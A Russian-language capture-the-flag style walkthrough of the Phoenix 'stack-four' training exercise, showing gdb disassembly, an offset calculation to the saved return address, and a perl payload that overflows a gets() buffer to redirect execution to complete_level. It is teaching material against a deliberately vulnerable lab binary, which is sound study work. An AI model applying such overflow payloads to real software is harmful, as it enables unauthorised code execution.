Используемые инструменты
- Linux (подойдет любой дистрибутив)
- gdb с gef
- исходный код для этой задачи

Цель вызова

/*
 * phoenix/stack-four, by https://exploit.education
 *
 * The aim is to execute the function complete_level by modifying the
 * saved return address, and pointing it to the complete_level() function.
 *
 * Why were the apple and orange all alone? Because the bananna split.
 */

Компиляция

Мы будем использовать gcc для его компиляции, отключив только ASLR, NX может остаться, мы ничего не выполняем в стеке.

gcc stack_four.c -o stack_four -fno-stack-protector

Теперь у нас должен быть скомпилированный двоичный файл, и этого должно быть относительно легко достичь.

План действий

  • Заполнить наш буфер
  • Узнать адрес функции start_level
  • Перелейте на *ret указатель на наш адрес и выясните, где находится ret.

Давайте зажжем gdb на stack_four

root@x:/home/hacking/phoenix# gdb -q ./stack_four
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 7.11.1 using Python engine 3.5
[+] Configuration from '/home/user/.gef.rc' restored
Reading symbols from ./stack_four...(no debugging symbols found)...done.

Посмотрите на start_level и complete_level, так мы получим смещение сохраненного RIP внутри start_level и перезапишем его адресом до начала complete_level.

gef➤  disas start_level
Dump of assembler code for function start_level:
   0x000000000040060e <+0>: push   rbp
   0x000000000040060f <+1>: mov    rbp,rsp
   0x0000000000400612 <+4>: sub    rsp,0x50
   0x0000000000400616 <+8>: lea    rax,[rbp-0x50]
   0x000000000040061a <+12>: mov    rdi,rax
   0x000000000040061d <+15>: call   0x4004d0 <gets@plt>
   0x0000000000400622 <+20>: mov    rax,QWORD PTR [rbp+0x8]
   0x0000000000400626 <+24>: mov    QWORD PTR [rbp-0x8],rax
   0x000000000040062a <+28>: mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040062e <+32>: mov    rsi,rax
   0x0000000000400631 <+35>: mov    edi,0x400733
   0x0000000000400636 <+40>: mov    eax,0x0
   0x000000000040063b <+45>: call   0x4004b0 <printf@plt>
   0x0000000000400640 <+50>: nop
   0x0000000000400641 <+51>: leave  
   0x0000000000400642 <+52>: ret    
End of assembler dump.
gef➤  disas complete_level
Dump of assembler code for function complete_level:
   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov    rbp,rsp
   0x00000000004005fa <+4>: mov    edi,0x4006f8
   0x00000000004005ff <+9>: call   0x4004a0 <puts@plt>
   0x0000000000400604 <+14>: mov    edi,0x0
   0x0000000000400609 <+19>: call   0x4004e0 <exit@plt>
End of assembler dump.

Теперь у нас есть два адреса: один в start_level, где мы хотим разместить нашу точку останова, и один в complete_level, где мы хотим переопределить наш сохраненный адрес возврата.

Вычисление смещения

Теперь мы можем запустить его с нашим заполненным буфером и посмотреть, где мы хотим переопределить наш адрес возврата, мы могли бы просто ввести новый адрес возврата, и это просто сработало бы.

Вот пример нашего спрея с обратным адресом, простой и более хакерский способ!

root@x:/home/hacking/phoenix# perl -e 'print "\xf6\x05\x40\x00\x00\x00\x00\x00" x 30' | ./stack_four
Welcome to stack_four, brought to you by https://exploit.education
and will be returning to 0x4005f6
Congratulations, you've finished stack_four :-) Well done!

Но это простой способ, давайте попробуем разобраться во всем правильно, вместо того, чтобы пробираться через грубую силу.

Давайте запустим сеанс gdb и установим точку останова сразу после того, как call попадет внутрь start_level.

gef➤  b *0x0000000000400622
Breakpoint 1 at 0x400622

Запустите его с нашим буфером, заполненным кучей A

gef➤  run <<< $(python -c 'print "A" * 63')
Starting program: /home/hacking/phoenix/stack_four <<< $(python -c 'print "A" * 63')
Welcome to stack_four, brought to you by https://exploit.education
     0x400612 <start_level+4>  sub    rsp, 0x50
     0x400616 <start_level+8>  lea    rax, [rbp-0x50]
     0x40061a <start_level+12> mov    rdi, rax
     0x40061d <start_level+15> call   0x4004d0 <gets@plt>
 →   0x400622 <start_level+20> mov    rax, QWORD PTR [rbp+0x8]
     0x400626 <start_level+24> mov    QWORD PTR [rbp-0x8], rax
     0x40062a <start_level+28> mov    rax, QWORD PTR [rbp-0x8]
     0x40062e <start_level+32> mov    rsi, rax
     0x400631 <start_level+35> mov    edi, 0x400733
     0x400636 <start_level+40> mov    eax, 0x0
     0x40063b <start_level+45> call   0x4004b0 <printf@plt>

Теперь мы можем пройти весь путь до выделенной инструкции и собрать некоторую информацию.

gef➤  x/64xw $rsp
0x7fffffffe280: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe290: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2b0: 0x41414141 0x41414141 0x41414141 0x00414141
0x7fffffffe2c0: 0x00000000 0x00000000 0x00400666 0x00000000
0x7fffffffe2d0: 0xffffe2f0 0x00007fff 0x00400666 0x00000000
0x7fffffffe2e0: 0xffffe3d8 0x00007fff 0x00000000 0x00000001
0x7fffffffe2f0: 0x00400670 0x00000000 0xf7a2d830 0x00007fff
0x7fffffffe300: 0x00000000 0x00000000 0xffffe3d8 0x00007fff
0x7fffffffe310: 0x00000000 0x00000001 0x00400643 0x00000000
0x7fffffffe320: 0x00000000 0x00000000 0x65e18715 0x990107c2
0x7fffffffe330: 0x00400500 0x00000000 0xffffe3d0 0x00007fff
0x7fffffffe340: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe350: 0xaf018715 0x66fef8bd 0xc6d18715 0x66fee807
0x7fffffffe360: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe370: 0x00000000 0x00000000 0x00000001 0x00000000
gef➤  info frame
Stack level 0, frame at 0x7fffffffe2e0:
 rip = 0x400636 in start_level; saved rip = 0x400666
 called by frame at 0x7fffffffe300
 Arglist at 0x7fffffffe2d0, args: 
 Locals at 0x7fffffffe2d0, Previous frame's sp is 0x7fffffffe2e0
 Saved registers:
  rbp at 0x7fffffffe2d0, rip at 0x7fffffffe2d8
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000400643 <+0>: push   rbp
   0x0000000000400644 <+1>: mov    rbp,rsp
   0x0000000000400647 <+4>: sub    rsp,0x10
   0x000000000040064b <+8>: mov    DWORD PTR [rbp-0x4],edi
   0x000000000040064e <+11>: mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400652 <+15>: mov    edi,0x400750
   0x0000000000400657 <+20>: call   0x4004a0 <puts@plt>
   0x000000000040065c <+25>: mov    eax,0x0
   0x0000000000400661 <+30>: call   0x40060e <start_level>
   0x0000000000400666 <+35>: mov    eax,0x0
   0x000000000040066b <+40>: leave  
   0x000000000040066c <+41>: ret    
End of assembler dump.
gef➤  x/x 0x7fffffffe2d8
0x7fffffffe2d8: 0x00400666

Из первого выделения мы видим начало нашего кадра стека, второе выделение — это адрес возврата, который, если вы посмотрите на выделение в main, является местом, куда мы вернемся, но это не то место, куда мы хотим идти, и сохраненные регистры точек RIP точно на следующей инструкции после call <start_level>.

Если мы получим расстояние, мы будем точно знать, где нам нужно поместить наш обратный адрес в complete_level и насколько мы хотим переполнить наш буфер.

gef➤  p/d 0x7fffffffe2d8 - 0x7fffffffe280
$1 = 88

Наш обратный адрес находится в 88-м байте, и когда мы дизассемблировали complete_level, точка входа в эту функцию была 0x00000000004005f6, давайте создадим нашу полезную нагрузку.

Полезная нагрузка

perl -e 'print "A" x 88 . "\xf6\x05\x40\x00\x00\x00\x00\x00"'

Вышеупомянутое должно делать то, что мы пытались переборщить только с обратным адресом, здесь мы фактически получили смещение, как далеко от нашего буфера сохраняется обратный адрес, и мы просто хирургически заменяем его в точном месте.

Исполнение

root@x:/home/hacking/phoenix# perl -e 'print "A" x 88 . "\xf6\x05\x40\x00\x00\x00\x00\x00"' | ./stack_four
Welcome to stack_four, brought to you by https://exploit.education
and will be returning to 0x4005f6
Congratulations, you've finished stack_four :-) Well done!

Это было довольно легко! Удачного взлома!